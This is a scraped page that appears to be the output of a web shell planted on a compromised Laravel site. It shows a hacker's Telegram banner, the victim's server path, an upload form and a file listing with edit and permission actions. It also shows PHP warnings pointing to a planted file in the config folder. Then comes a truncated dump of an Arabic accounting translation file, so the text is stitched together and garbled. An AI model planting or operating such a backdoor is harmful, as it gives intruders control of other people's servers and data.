telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log26078258 KBJuly 19 2025 02:21:090644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
'الحسابات', 'accounting_module' => 'قسم الحسابات', 'accounts_receivable' => 'الذمم المدينة (A/R)', 'current_assets' => 'الاصول المتداولة', 'cash_and_cash_equivalents' => 'النقد والنقد المعادل', 'fixed_assets' => 'أصول ثابتة', 'non_current_assets' => 'الاصول الغير المتداولة', 'accounts_payable' => 'حسابات قابلة للدفع (A/P)', 'credit_card' => 'بطاقة الائتمان', 'current_liabilities' => 'المطلوبات المتداولة', 'non_current_liabilities' => 'مطلوبات طويلة الاجل', 'owners_equity' => 'جاري شركاء', 'income' => 'الايرادات', 'other_income' => 'ايرادات اخرى', 'cost_of_sale' => 'المصروفات التشغيلية', 'expenses' => 'المصروفات', 'other_expense' => 'مصروفات ادارية و عمومية', 'allowance_for_bad_debts' => 'التسامح في الديون المتعثرة', 'allowance_for_bad_debts_desc' => 'Use Allowance for bad debts to estimate the part of Accounts Receivable that you think you might not collect. Use this only if you are keeping your books on the accrual basis.', 'assets_available_for_sale' => 'الأصول المتاحة للبيع', 'assets_available_for_sale_desc' => 'Use Assets available for sale to track assets that are available for sale that are not expected to be held for a long period of time.', 'development_costs' => 'تكاليف التطوير', 'development_costs_desc' => 'Use Development costs to track amounts you deposit or set aside to arrange for financing, such as an SBA loan, or for deposits in anticipation of the purchase of property or other assets. When the deposit is refunded, or the purchase takes place, remove the amount from this account.', 'employee_cash_advances' => 'السلف النقدية للموظفين', 'employee_cash_advances_desc' => 'Use Employee cash advances to track employee wages and salary you issue to an employee early, or other non-salary money given to employees. If you make a loan to an employee, use the Current asset account type called Loans to others, instead.', 'inventory' => 'جرد المستودع', 'inventory_desc' => 'Use Inventory to track the cost of goods your business purchases for resale. When the goods are sold, assign the sale to a Cost of sales account.', 'investments_-_other' => 'استثمارات - أخرى', 'investments_-_other_desc' => 'Use Investments - Other to track the value of investments not covered by other investment account types. Examples include publicly-traded shares, coins, or gold.', 'loans_to_officers' => 'Loans To Officers', 'loans_to_officers_desc' => 'If you operate your business as a Corporation, use Loans to officers to track money loaned to officers of your business.', 'loans_to_others' => 'قروض للآخرين', 'loans_to_others_desc' => 'Use Loans to others to track money your business loans to other people or businesses. This type of account is also referred to as Notes Receivable. For early salary payments to employees, use Employee cash advances, instead.', 'loans_to_shareholders' => 'قروض للمساهمين', 'loans_to_shareholders_desc' => 'If you operate your business as a Corporation, use Loans to Shareholders to track money your business loans to its shareholders.', 'other_current_assets' => 'الاصول المتداولة الأخرى', 'other_current_assets_desc' => 'Use Other current assets for current assets not covered by the other types. Current assets are likely to be converted to cash or used up in a year.', 'prepaid_expenses' => 'المصروفات المدفوعة مسبقا', 'prepaid_expenses_desc' => 'Use Prepaid expenses to track payments for expenses that you won’t recognise until your next accounting period. When you recognise the expense, make a journal entry to transfer money from this account to the expense account.', 'retainage' => 'Retainage', 'retainage_desc' => 'Use Retainage if your customers regularly hold back a portion of a contract amount until you have completed a project. This type of account is often used in the construction industry, and only if you record income on an accrual basis.', 'undeposited_funds' => 'الأموال غير المودعة', 'undeposited_funds_desc' => 'Use Undeposited funds for cash or cheques from sales that haven’t been deposited yet. For petty cash, use Cash on hand, instead.', 'bank' => 'Bank', 'bank_desc' => 'Use Bank accounts to track all your current activity, including debit card transactions.', 'cash_and_cash_equivalents' => 'الصناديق والبنوك', 'cash_and_cash_equivalents_desc' => 'Use Cash and Cash Equivalents to track cash or assets that can be converted into cash immediately. For example, marketable securities and Treasury bills.', 'cash_on_hand' => 'النقد في الصندوق', 'cash_on_hand_desc' => 'Use a Cash on hand account to track cash your company keeps for occasional expenses, also called petty cash. To track cash from sales that have not been deposited yet, use a pre-created account called Undeposited funds, instead.', 'client_trust_account' => 'Client trust account', 'client_trust_account_desc' => "Use Client trust accounts for money held by you for the benefit of someone else. For example, trust accounts are often used by attorneys to keep track of expense money their customers have given them. Often, to keep the amount in a trust account from looking like it’s yours, the amount is offset in a 'contra' liability account (a Current Liability).", 'money_market' => 'سوق المال', 'money_market_desc' => 'Use Money market to track amounts in money market accounts. For investments, see Current Assets, instead.', 'rents_held_in_trust' => 'Rents Held in Trust', 'rents_held_in_trust_desc' => 'Use Rents held in trust to track deposits and rent held on behalf of the property owners. Typically only property managers use this type of account.', 'savings' => 'الادخار', 'savings_desc' => 'Use Savings accounts to track your savings and CD activity. Each savings account your company has at a bank or other financial institution should have its own Savings type account. For investments, see Current Assets, instead.', 'accumulated_depletion' => 'الإهلاك التراكمي', 'accumulated_depletion_desc' => 'Use Accumulated depletion to track how much you deplete a natural resource.', 'accumulated_depreciation_on_property,_plant_and_equipment' => 'Accumulated depreciation on property, plant and equipment', 'accumulated_depreciation_on_property,_plant_and_equipment_desc' => 'Use Accumulated depreciation on property, plant and equipment to track how much you depreciate a fixed asset (a physical asset you do not expect to convert to cash during one year of normal operations).', 'buildings' => 'المباني', 'buildings_desc' => 'Use Buildings to track the cost of structures you own and use for your business. If you have a business in your home, consult your accountant. Use a Land account for the land portion of any real property you own, splitting the cost of the property between land and building in a logical method. A common method is to mimic the land-to-building ratio on the property tax statement.', 'depletable_assets' => 'الأصول المستنفدة', 'depletable_assets_desc' => 'Use Depletable assets to track natural resources, such as timberlands, oil wells, and mineral deposits.', 'furniture_and_fixtures' => 'الأثاث والتجهيزات', 'furniture_and_fixtures_desc' => 'Use Furniture and fixtures to track any furniture and fixtures your business owns and uses, like a dental chair or sales booth.', 'land' => 'Land', 'land_desc' => 'Use Land to track assets that are not easily convertible to cash or not expected to become cash within the next year. For example, leasehold improvements.', 'leasehold_improvements' => 'تحسين المساكن المستأجرة', 'leasehold_improvements_desc' => 'Use Leasehold improvements to track improvements to a leased asset that increases the asset’s value. For example, if you carpet a leased office space and are not reimbursed, that’s a leasehold improvement.', 'machinery_and_equipment' => 'آلات ومعدات', 'machinery_and_equipment_desc' => 'Use Machinery and equipment to track computer hardware, as well as any other non-furniture fixtures or devices owned and used for your business. This includes equipment that you ride, like tractors and lawn mowers. Cars and lorries, however, should be tracked with Vehicle accounts, instead.', 'other_fixed_assets' => 'الأصول الثابتة الأخرى', 'other_fixed_assets_desc' => 'Use Other fixed asset for fixed assets that are not covered by other asset types. Fixed assets are physical property that you use in your business and that you do not expect to convert to cash or be used up during one year of normal operations.', 'vehicles' => 'مركبات', 'vehicles_desc' => 'Use Vehicles to track the value of vehicles your business owns and uses for business. This includes off-road vehicles, air planes, helicopters, and boats. If you use a vehicle for both business and personal use, consult your accountant to see how you should track its value.', 'accumulated_amortisation_of_non-current_assets' => 'Accumulated amortisation of non-current assets', 'accumulated_amortisation_of_non-current_assets_desc' => 'Use Accumulated amortisation of non-current assets to track how much you’ve amortised an asset whose type is Non-Current Asset.', 'assets_held_for_sale' => 'اصول محتفظ بها للبيع', 'assets_held_for_sale_desc' => 'Use Assets held for sale to track assets of a company that are available for sale that are not expected to be held for a long period of time.', 'deferred_tax' => 'الضريبة المؤجلة', 'deferred_tax_desc' => 'Use Deferred tax for tax liabilities or assets that are to be used in future accounting periods.', 'goodwill' => 'اعمال خير', 'goodwill_desc' => 'Use Goodwill only if you have acquired another company. It represents the intangible assets of the acquired company which gave it an advantage, such as favourable government relations, business name, outstanding credit ratings, location, superior management, customer lists, product quality, or good labour relations.', 'intangible_assets' => 'الأصول غير الملموسة', 'intangible_assets_desc' => 'Use Intangible assets to track intangible assets that you plan to amortise. Examples include franchises, customer lists, copyrights, and patents.', 'lease_buyout' => 'تأجير منتهي بالتمليك', 'lease_buyout_desc' => 'Use Lease buyout to track lease payments to be applied toward the purchase of a leased asset. You don’t track the leased asset itself until you purchase it.', 'licences' => 'التراخيص', 'licences_desc' => 'Use Licences to track non-professional licences for permission to engage in an activity, like selling alcohol or radio broadcasting. For fees associated with professional licences granted to individuals, use a Legal and professional fees expense account, instead.', 'long-term_investments' => 'استثمارات طويلة الأجل', 'long-term_investments_desc' => 'Use Long-term investments to track investments that have a maturity date of longer than one year.', 'organisational_costs' => 'التكاليف التنظيمية', 'organisational_costs_desc' => 'Use Organisational costs to track costs incurred when forming a partnership or corporation. The costs include the legal and accounting costs necessary to organise the company, facilitate the filings of the legal documents, and other paperwork.', 'other_non-current_assets' => 'اصول اخرى غير متداولة', 'other_non-current_assets_desc' => 'Use Other non-current assets to track assets not covered by other types. Non-current assets are long-term assets that are expected to provide value for more than one year.', 'security_deposits' => 'الودائع الأمن', 'security_deposits_desc' => 'Use Security deposits to track funds you’ve paid to cover any potential costs incurred by damage, loss, or theft. The funds should be returned to you at the end of the contract. If you accept down payments, advance payments, security deposits, or other kinds of deposits, use an Other Current liabilities account with the detail type Other Current liabilities.', 'accounts_payable_(a/p)' => 'ذمم دائنة (A/P)', 'accounts_payable_(a/p)_desc' => 'Accounts payable (also called A/P, Trade and other payables, or Creditors) tracks amounts you owe to your suppliers.', 'credit_card' => 'البطاقة الائتمانية', 'credit_card_desc' => 'Credit card accounts track the balance due on your business credit cards. Create one Credit card account for each credit card account your business uses.', 'accrued_liabilities' => 'مطلوبات مستحقة', 'accrued_liabilities_desc' => 'Use Accrued Liabilities to track expenses that a business has incurred but has not yet paid. For example, pensions for companies that contribute to a pension fund for their employees for their retirement.', 'client_trust_accounts_-_liabilities' => 'Client Trust Accounts - Liabilities', 'client_trust_accounts_-_liabilities_desc' => "Use Client Trust accounts - liabilities to offset Client Trust accounts in assets. Amounts in these accounts are held by your business on behalf of others. They do not belong to your business, so should not appear to be yours on your balance sheet. This 'contra' account takes care of that, as long as the two balances match.", 'current_tax_liability' => 'Current Tax Liability', 'current_tax_liability_desc' => 'Use Current tax liability to track the total amount of taxes collected but not yet paid to the government.', 'current_portion_of_obligations_under_finance_leases' => 'Current portion of obligations under finance leases', 'current_portion_of_obligations_under_finance_leases_desc' => 'Use Current portion of obligations under finance leases to track the value of lease payments due within the next 12 months.', 'dividends_payable' => 'ارباح مستحقة الدفع', 'dividends_payable_desc' => 'Use Dividends payable to track dividends that are owed to shareholders but have not yet been paid.', 'income_tax_payable' => 'ضريبة الدخل المستحقة', 'income_tax_payable_desc' => 'Use Income tax payable to track monies that are due to pay the company’s income tax liabilties.', 'insurance_payable' => 'تأمين مستحق الدفع', 'insurance_payable_desc' => 'Use Insurance payable to keep track of insurance amounts due. This account is most useful for businesses with monthly recurring insurance expenses.', 'line_of_credit' => 'Line of Credit', 'line_of_credit_desc' => 'Use Line of credit to track the balance due on any lines of credit your business has. Each line of credit your business has should have its own Line of credit account.', 'loan_payable' => 'قرض مستحق الدفع', 'loan_payable_desc' => 'Use Loan payable to track loans your business owes which are payable within the next twelve months. For longer-term loans, use the Long-term liability called Notes payable, instead.', 'other_current_liabilities' => 'الخصومات المتداولة الأخرى', 'other_current_liabilities_desc' => 'Use Other current liabilities to track monies owed by the company and due within one year.', 'payroll_clearing' => 'مقاصة الرواتب', 'payroll_clearing_desc' => 'Use Payroll clearing to keep track of any non-tax amounts that you have deducted from employee paycheques or that you owe as a result of doing payroll. When you forward money to the appropriate suppliers, deduct the amount from the balance of this account. Do not use this account for tax amounts you have withheld or owe from paying employee wages. For those amounts, use the Payroll tax payable account instead.', 'payroll_liabilities' => 'خصوم الرواتب', 'payroll_liabilities_desc' => 'Use Payroll liabilities to keep track of tax amounts that you owe to government agencies as a result of paying wages. This includes taxes withheld, health care premiums, employment insurance, government pensions, etc. When you forward the money to the government agency, deduct the amount from the balance of this account.', 'prepaid_expenses_payable' => 'مصاريف مدفوعة مقدما مستحقة الدفع', 'prepaid_expenses_payable_desc' => 'Use Prepaid expenses payable to track items such as property taxes that are due, but not yet deductible as an expense because the period they cover has not yet passed.', 'rents_in_trust_-_liability' => 'Rents in trust - Liability', 'rents_in_trust_-_liability_desc' => "Use Rents in trust - liability to offset the Rents in trust amount in assets. Amounts in these accounts are held by your business on behalf of others. They do not belong to your business, so should not appear to be yours on your balance sheet. This 'contra' account takes care of that, as long as the two balances match.", 'sales_and_service_tax_payable' => 'ضريبة المبيعات والخدمة المستحقة الدفع', 'sales_and_service_tax_payable_desc' => 'Use Sales and service tax payable to track tax you have collected, but not yet remitted to your government tax agency. This includes value-added tax, goods and services tax, sales tax, and other consumption tax.', 'accrued_holiday_payable' => 'الإجازة المستحقة الدفع', 'accrued_holiday_payable_desc' => 'Use Accrued holiday payable to track holiday earned but that has not been paid out to employees.', 'accrued_non-current_liabilities' => 'الخصوم المستحقة غير المتداولة', 'accrued_non-current_liabilities_desc' => 'Use Accrued Non-current liabilities to track expenses that a business has incurred but has not yet paid. For example, pensions for companies that contribute to a pension fund for their employees for their retirement.', 'liabilities_related_to_assets_held_for_sale' => 'الخصومات المتعلقة باصول محتفظ بها للبيع', 'liabilities_related_to_assets_held_for_sale_desc' => 'Use Liabilities related to assets held for sale to track any liabilities that are directly related to assets being sold or written off.', 'long-term_debt' => 'دين طويل الأجل', 'long-term_debt_desc' => 'Use Long-term debt to track loans and obligations with a maturity of longer than one year. For example, mortgages.', 'notes_payable' => 'أوراق الدفع', 'notes_payable_desc' => 'Use Notes payable to track the amounts your business owes in long-term (over twelve months) loans. For shorter loans, use the Current liability account type called Loan payable, instead.', 'other_non-current_liabilities' => 'الخصوم الأخرى غير المتداولة', 'other_non-current_liabilities_desc' => 'Use Other non-current liabilities to track liabilities due in more than twelve months that don’t fit the other Non-Current liability account types.', 'shareholder_notes_payable' => 'سندات المساهمين مستحقة الدفع', 'shareholder_notes_payable_desc' => 'Use Shareholder notes payable to track long-term loan balances your business owes its shareholders.', 'accumulated_adjustment' => 'التعديل المتراكم', 'accumulated_adjustment_desc' => 'Some corporations use this account to track adjustments to owner’s equity that are not attributable to net income.', 'dividend_disbursed' => 'توزيعات الأرباح المصروفة', 'dividend_disbursed_desc' => 'Use Dividend disbursed to track a payment given to its shareholders out of the company’s retained earnings.', 'equity_in_earnings_of_subsidiaries' => 'حقوق الملكية في أرباح الشركات التابعة', 'equity_in_earnings_of_subsidiaries_desc' => 'Use Equity in earnings of subsidiaries to track the original investment in shares of subsidiaries plus the share of earnings or losses from the operations of the subsidiary.', 'opening_balance_equity' => 'Opening Balance Equity', 'opening_balance_equity_desc' => 'As you enter opening balances, System records the amounts in Opening balance equity. This ensures that you have a correct balance sheet for your company, even before you’ve finished entering all your company’s assets and liabilities.', 'ordinary_shares' => 'أسهم عادية', 'ordinary_shares_desc' => 'Corporations use Ordinary shares to track its ordinary shares in the hands of shareholders. The amount in this account should be the stated (or par) value of the stock.', 'other_comprehensive_income' => 'الدخل الشامل الآخر', 'other_comprehensive_income_desc' => 'Use Other comprehensive income to track the increases or decreases in income from various businesses that is not yet absorbed by the company.', "owner's_equity" => 'جاري شركاء', "owner's_equity_desc" => 'Corporations use Owner’s equity to show the cumulative net income or loss of their business as of the beginning of the financial year.', 'paid-in_capital_or_surplus' => 'رأس المال المدفوع أو الفائض', 'paid-in_capital_or_surplus_desc' => 'Corporations use Paid-in capital to track amounts received from shareholders in exchange for shares that are over and above the shares’ stated (or par) value.', 'partner_contributions' => 'مساهمات الشركاء', 'partner_contributions_desc' => 'Partnerships use Partner contributions to track amounts partners contribute to the partnership during the year.', 'partner_distributions' => 'توزيعات الشركاء', 'partner_distributions_desc' => 'Partnerships use Partner distributions to track amounts distributed by the partnership to its partners during the year. Don’t use this for regular payments to partners for interest or service. For regular payments, use a Guaranteed payments account (a Expense account in Payroll expenses), instead.', "partner's_equity" => 'حقوق ملكية الشريك', "partner's_equity_desc" => 'Partnerships use Partner’s equity to show the income remaining in the partnership for each partner as of the end of the prior year.', 'preferred_shares' => 'اسهم مفضلة', 'preferred_shares_desc' => 'Corporations use this account to track its preferred shares in the hands of shareholders. The amount in this account should be the stated (or par) value of the shares.', 'retained_earnings' => 'الأرباح المحتجزة', 'retained_earnings_desc' => 'Retained earnings tracks net income from previous financial years.', 'share_capital' => 'رأس المال', 'share_capital_desc' => 'Use Share capital to track the funds raised by issuing shares.', 'treasury_shares' => 'أسهم الخزينة', 'treasury_shares_desc' => 'Corporations use Treasury shares to track amounts paid by the corporation to buy its own shares back from shareholders.', 'discounts/refunds_given' => 'الخصومات/المسترجع', 'discounts/refunds_given_desc' => 'Use Discounts/refunds given to track discounts you give to customers. This account typically has a negative balance so it offsets other income. For discounts from suppliers, use an expense account, instead.', 'non-profit_income' => 'الدخل غير الربحي', 'non-profit_income_desc' => 'Use Non-profit income to track money coming in if you are a non-profit organisation.', 'other_primary_income' => 'الدخل الأساسي الآخر', 'other_primary_income_desc' => 'Use Other primary income to track income from normal business operations that doesn’t fall into another Income type.', 'revenue_-_general' => 'الإيرادات - عام', 'revenue_-_general_desc' => 'Use Revenue - General to track income from normal business operations that do not fit under any other category.', 'sales_-_retail' => 'المبيعات - التجزئة', 'sales_-_retail_desc' => 'Use Sales - retail to track sales of goods/services that have a mark-up cost to consumers.', 'sales_-_wholesale' => 'المبيعات - الجملة', 'sales_-_wholesale_desc' => 'Use Sales - wholesale to track the sale of goods in quantity for resale purposes.', 'sales_of_product_income' => 'مبيعات دخل المنتج', 'sales_of_product_income_desc' => 'Use Sales of product income to track income from selling products. This can include all kinds of products, like crops and livestock, rental fees, performances, and food served.', 'service/fee_income' => 'دخل الرسوم/الخدمات', 'service/fee_income_desc' => 'Use Service/fee income to track income from services you perform or ordinary usage fees you charge. For fees customers pay you for late payments or other uncommon situations, use an Other Income account type called Other miscellaneous income, instead.', 'unapplied_cash_payment_income' => 'دخل المدفوعات النقدية غير المطبقة', 'unapplied_cash_payment_income_desc' => 'Unapplied Cash Payment Income reports the Cash Basis income from customers payments you’ve received but not applied to invoices or charges. In general, you would never use this directly on a purchase or sale transaction.', 'dividend_income' => 'توزيعات الارباح', 'dividend_income_desc' => 'Use Dividend income to track taxable dividends from investments.', 'interest_earned' => 'الفوائد المكتسبة', 'interest_earned_desc' => 'Use Interest earned to track interest from bank or savings accounts, investments, or interest payments to you on loans your business made.', 'loss_on_disposal_of_assets' => 'خسارة في التخلص من الأصول', 'loss_on_disposal_of_assets_desc' => 'Use Loss on disposal of assets to track losses realised on the disposal of assets.', 'other_investment_income' => 'ايرادات استثمار اخر', 'other_investment_income_desc' => 'Use Other investment income to track other types of investment income that isn’t from dividends or interest.', 'other_miscellaneous_income' => 'ايرادات متنوعة اخرى', 'other_miscellaneous_income_desc' => 'Use Other miscellaneous income to track income that isn’t from normal business operations, and doesn’t fall into another Other Income type.', 'other_operating_income' => 'الدخل التشغيلي الآخر', 'other_operating_income_desc' => 'Use Other operating income to track income from activities other than normal business operations. For example, Investment interest, foreign exchange gains, and rent income.', 'tax-exempt_interest' => 'الفائدة المعفاة من الضرائب', 'tax-exempt_interest_desc' => 'Use Tax-exempt interest to record interest that isn’t taxable, such as interest on money in tax-exempt retirement accounts, or interest from tax-exempt bonds.', 'unrealised_loss_on_securities,_net_of_tax' => 'Unrealised loss on securities, net of tax', 'unrealised_loss_on_securities,_net_of_tax_desc' => 'Use Unrealised loss on securities, net of tax to track losses on securities that have occurred but are yet been realised through a transaction. For example, shares whose value has fallen but that are still being held.', 'cost_of_labour_-_cos' => 'تكلفة العمالة - COS', 'cost_of_labour_-_cos_desc' => 'Use Cost of labour - COS to track the cost of paying employees to produce products or supply services. It includes all employment costs, including food and transportation, if applicable.', 'equipment_rental_-_cos' => 'تأجير المعدات - COS', 'equipment_rental_-_cos_desc' => 'Use Equipment rental - COS to track the cost of renting equipment to produce products or services. If you purchase equipment, use a Fixed Asset account type called Machinery and equipment.', 'freight_and_delivery_-_cos' => 'الشحن والتسليم - COS', 'freight_and_delivery_-_cos_desc' => 'Use Freight and delivery - COS to track the cost of shipping/delivery of obtaining raw materials and producing finished goods for resale.', 'other_costs_of_sales_-_cos' => 'تكاليف المبيعات الأخرى - COS', 'other_costs_of_sales_-_cos_desc' => 'Use Other costs of sales - COS to track costs related to services or sales that you provide that don’t fall into another Cost of Sales type.', 'supplies_and_materials_-_cos' => 'اللوازم والمواد - COS', 'supplies_and_materials_-_cos_desc' => 'Use Supplies and materials - COS to track the cost of raw goods and parts used or consumed when producing a product or providing a service.', 'advertising/promotional' => 'الاعلانات والترويج', 'advertising/promotional_desc' => 'Use Advertising/promotional to track money spent promoting your company. You may want different accounts of this type to track different promotional efforts (Yellow Pages, newspaper, radio, flyers, events, and so on). If the promotion effort is a meal, use Promotional meals instead.', 'amortisation_expense' => 'مصاريف الاستهلاك', 'amortisation_expense_desc' => 'Use Amortisation expense to track writing off of assets (such as intangible assets or investments) over the projected life of the assets.', 'auto' => 'Auto', 'auto_desc' => 'Use Auto to track costs associated with vehicles. You may want different accounts of this type to track petrol, repairs, and maintenance. If your business owns a car or lorry, you may want to track its value as a Fixed Asset, in addition to tracking its expenses.', 'bad_debts' => 'الديون المعدومة', 'bad_debts_desc' => 'Use Bad debt to track debt you have written off.', 'bank_charges' => 'الرسوم المصرفية', 'bank_charges_desc' => 'Use Bank charges for any fees you pay to financial institutions.', 'charitable_contributions' => 'المساهمات الخيرية', 'charitable_contributions_desc' => 'Use Charitable contributions to track gifts to charity.', 'commissions_and_fees' => 'العمولات والرسوم', 'commissions_and_fees_desc' => 'Use Commissions and fees to track amounts paid to agents (such as brokers) in order for them to execute a trade.', 'cost_of_labour' => 'تكلفة العمالة', 'cost_of_labour_desc' => 'Use Cost of labour to track the cost of paying employees to produce products or supply services. It includes all employment costs, including food and transportation, if applicable. This account is also available as a Cost of Sales (COS) account.', 'dues_and_subscriptions' => 'الرسوم والاشتراكات', 'dues_and_subscriptions_desc' => 'Use Dues and subscriptions to track dues and subscriptions related to running your business. You may want different accounts of this type for professional dues, fees for licences that can’t be transferred, magazines, newspapers, industry publications, or service subscriptions.', 'equipment_rental' => 'تأجير المعدات', 'equipment_rental_desc' => 'Use Equipment rental to track the cost of renting equipment to produce products or services. This account is also available as a Cost of Sales account. If you purchase equipment, use a Fixed asset account type called Machinery and equipment.', 'finance_costs' => 'تكاليف التمويل', 'finance_costs_desc' => 'Use Finance costs to track the costs of obtaining loans or credit. Examples of finance costs would be credit card fees, interest and mortgage costs.', 'income_tax_expense' => 'مصاريف ضريبة الدخل', 'income_tax_expense_desc' => 'Use Income tax expense to track income taxes that the company has paid to meet their tax obligations.', 'insurance' => 'Insurance', 'insurance_desc' => 'Use Insurance to track insurance payments. You may want different accounts of this type for different types of insurance (auto, general liability, and so on).', 'interest_paid' => 'الفائدة المدفوعة', 'interest_paid_desc' => 'Use Interest paid for all types of interest you pay, including mortgage interest, finance charges on credit cards, or interest on loans.', 'legal_and_professional_fees' => 'الرسوم القانونية والمهنية', 'legal_and_professional_fees_desc' => 'Use Legal and professional fees to track money to pay to professionals to help you run your business. You may want different accounts of this type for payments to your accountant, attorney, or other consultants.', 'loss_on_discontinued_operations,_net_of_tax' => 'Loss on discontinued operations, net of tax', 'loss_on_discontinued_operations,_net_of_tax_desc' => 'Use Loss on discontinued operations, net of tax to track the loss realised when a part of the business ceases to operate or when a product line is discontinued.', 'management_compensation' => 'تعويضات ادارية', 'management_compensation_desc' => 'Use Management compensation to track remuneration paid to Management, Executives and non-Executives. For example, salary, fees, and benefits.', 'meals_and_entertainment' => 'وجبات الطعام والترفيه', 'meals_and_entertainment_desc' => 'Use Meals and entertainment to track how much you spend on dining with your employees to promote morale. If you dine with a customer to promote your business, use a Promotional meals account, instead. Be sure to include who you ate with and the purpose of the meal when you enter the transaction.', 'office/general_administrative_expenses' => 'Office/General Administrative Expenses', 'office/general_administrative_expenses_desc' => 'Use Office/general administrative expenses to track all types of general or office-related expenses.', 'other_miscellaneous_service_cost' => 'Other Miscellaneous Service Cost', 'other_miscellaneous_service_cost_desc' => 'Use Other miscellaneous service cost to track costs related to providing services that don’t fall into another Expense type. This account is also available as a Cost of Sales (COS) account.', 'other_selling_expenses' => 'مصاريف بيع أخرى', 'other_selling_expenses_desc' => 'Use Other selling expenses to track selling expenses incurred that do not fall under any other category.', 'payroll_expenses' => 'نفقات الأجور', 'payroll_expenses_desc' => 'Use Payroll expenses to track payroll expenses. You may want different accounts of this type for things like: - Compensation of officers - Guaranteed payments - Workers compensation - Salaries and wages - Payroll taxes', 'rent_or_lease_of_buildings' => 'Rent or Lease of Buildings', 'rent_or_lease_of_buildings_desc' => 'Use Rent or lease of buildings to track rent payments you make.', 'repair_and_maintenance' => 'إصلاح وصيانة', 'repair_and_maintenance_desc' => 'Use Repair and maintenance to track any repairs and periodic maintenance fees. You may want different accounts of this type to track different types repair & maintenance expenses (auto, equipment, landscape, and so on).', 'shipping_and_delivery_expense' => 'مصاريف الشحن والتسليم', 'shipping_and_delivery_expense_desc' => 'Use Shipping and delivery expense to track the cost of shipping and delivery of goods to customers.', 'supplies_and_materials' => 'اللوازم والمواد', 'supplies_and_materials_desc' => 'Use Supplies & materials to track the cost of raw goods and parts used or consumed when producing a product or providing a service. This account is also available as a Cost of Sales account.', 'taxes_paid' => 'الضرائب المدفوعة', 'taxes_paid_desc' => 'Use Taxes paid to track taxes you pay. You may want different accounts of this type for payments to different tax agencies.', 'travel_expenses_-_general_and_admin_expenses' => 'مصاريف السفر - مصاريف عمومية وإدارية', 'travel_expenses_-_general_and_admin_expenses_desc' => 'Use Travel expenses - general and admin expenses to track travelling costs incurred that are not directly related to the revenue-generating operation of the company. For example, flight tickets and hotel costs when performing job interviews.', 'travel_expenses_-_selling_expense' => 'مصاريف السفر - مصاريف البيع', 'travel_expenses_-_selling_expense_desc' => 'Use Travel expenses - selling expense to track travelling costs incurred that are directly related to the revenue-generating operation of the company. For example, flight tickets and hotel costs when selling products and services.', 'unapplied_cash_bill_payment_expense' => 'مصاريف دفع الفواتير النقدية غير المطبقة', 'unapplied_cash_bill_payment_expense_desc' => 'Unapplied Cash Bill Payment Expense reports the Cash Basis expense from supplier payment cheques you’ve sent but not yet applied to supplier bills. In general, you would never use this directly on a purchase or sale transaction.', 'utilities' => 'خدمات', 'utilities_desc' => 'Use Utilities to track utility payments. You may want different accounts of this type to track different types of utility payments (gas and electric, telephone, water, and so on).', 'amortisation' => 'Amortisation', 'amortisation_desc' => 'Use Amortisation to track amortisation of intangible assets. Amortisation is spreading the cost of an intangible asset over its useful life, like depreciation of fixed assets. You may want an amortisation account for each intangible asset you have.', 'depreciation' => 'الاستهلاك', 'depreciation_desc' => 'Use Depreciation to track how much you depreciate fixed assets. You may want a depreciation account for each fixed asset you have.', 'exchange_gain_or_loss' => 'مكاسب أو خسارة الصرف', 'exchange_gain_or_loss_desc' => 'Use Exchange Gain or Loss to track gains or losses that occur as a result of exchange rate fluctuations.', 'other_expense' => 'مصروفات ادارية و عمومية', 'other_expense_desc' => 'Use Other expense to track unusual or infrequent expenses that don’t fall into another Other Expense type.', 'penalties_and_settlements' => 'العقوبات والتسويات', 'penalties_and_settlements_desc' => 'Use Penalties and settlements to track money you pay for violating laws or regulations, settling lawsuits, or other penalties.', 'chart_of_accounts' => 'دليل الحسابات', 'account_type' => 'نوع الحساب', 'detail_type' => 'تفاصيل الحساب', 'account' => 'الحساب', 'parent_account' => 'الحساب الرئيسي', 'as_of' => 'As of', 'gl_code_help' => 'All General Ledger accounts have a 6-digit number. 1xxxxxx = Assets, 2xxxxx = Liabilities, 3xxxxx = Net Assets, 4xxxxx = Revenue, 5xxxxx = Revenue, 8xxxxx = Allocations', 'gl_code' => 'رمز دفتر الأستاذ العام', 'primary_balance' => 'الرصيد الأساسي', 'bank_balance' => 'رصيد البنك', 'active' => 'مفعل', 'asset' => 'الاصول', 'expenses' => 'المصروفات', 'income' => 'الايرادات', 'equity' => 'حقوق الملكية', 'liability' => 'الخصوم', 'add_account' => 'اضافة حساب', 'account_sub_type' => 'نوع الحساب الفرعي', 'add_account_sub_type' => 'اضافة نوع الحساب الفرعي', 'add_detail_type' => 'اضافة تفاصيل نوع الحساب', 'edit_account_type' => 'تعديل نوع الحساب', 'edit_detail_type' => 